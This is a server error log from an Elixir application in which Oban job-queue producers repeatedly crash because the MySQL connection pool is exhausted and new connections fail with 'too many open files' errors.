State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:46:35.241134Z], limit: 50, uuid: "be6e382f-10fd-4387-bb60-d6d266751a6f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.241139Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92209>, refresh_timer: #Reference<0.2525715032.1068236804.235394>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:46:35.241333Z], limit: 5, uuid: "05a9d173-c4b3-474b-9485-f5eef96d5c59", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.241339Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92205>, refresh_timer: #Reference<0.2525715032.1121189889.92193>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:50.566000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:51.847000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:52.398000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:53.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:53.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:54.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:56.031000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:46:47.239912Z], limit: 5, uuid: "129e86ab-cf45-4169-9f78-2a8916387efa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.239918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216225>, refresh_timer: #Reference<0.2525715032.1077411843.216220>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:46:47.241270Z], limit: 5, uuid: "74d20a2d-ae38-4954-8271-aee8b38d0cc7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.241275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92493>, refresh_timer: #Reference<0.2525715032.1121189889.92485>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:46:47.239266Z], limit: 3, uuid: "199e2148-6b89-40c6-bb4f-5ab0d74a59e4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.239271Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92496>, refresh_timer: #Reference<0.2525715032.1099169794.243871>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:46:47.239494Z], limit: 50, uuid: "3372285e-f71f-49a7-b31e-5a8762badd38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.239500Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.216226>, refresh_timer: #Reference<0.2525715032.1068236804.235489>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:46:47.239261Z], limit: 10, uuid: "5583db0a-4011-4d64-b2b5-c7191ed2c638", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.239267Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92495>, refresh_timer: #Reference<0.2525715032.1099169794.243872>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:46:47.239149Z], limit: 20, uuid: "16442e0c-a531-43a2-a97f-4405a0d6111c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:47.239156Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92494>, refresh_timer: #Reference<0.2525715032.1099169794.243870>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:00.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:01.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:02.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:10.349000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:11.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:47:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:47:00.239731Z], limit: 5, uuid: "9103dd10-ff85-42aa-b9d0-8e46ec77cf4e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:47:00.239738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.243978>, refresh_timer: #Reference<0.2525715032.1099169794.243976>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:47:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
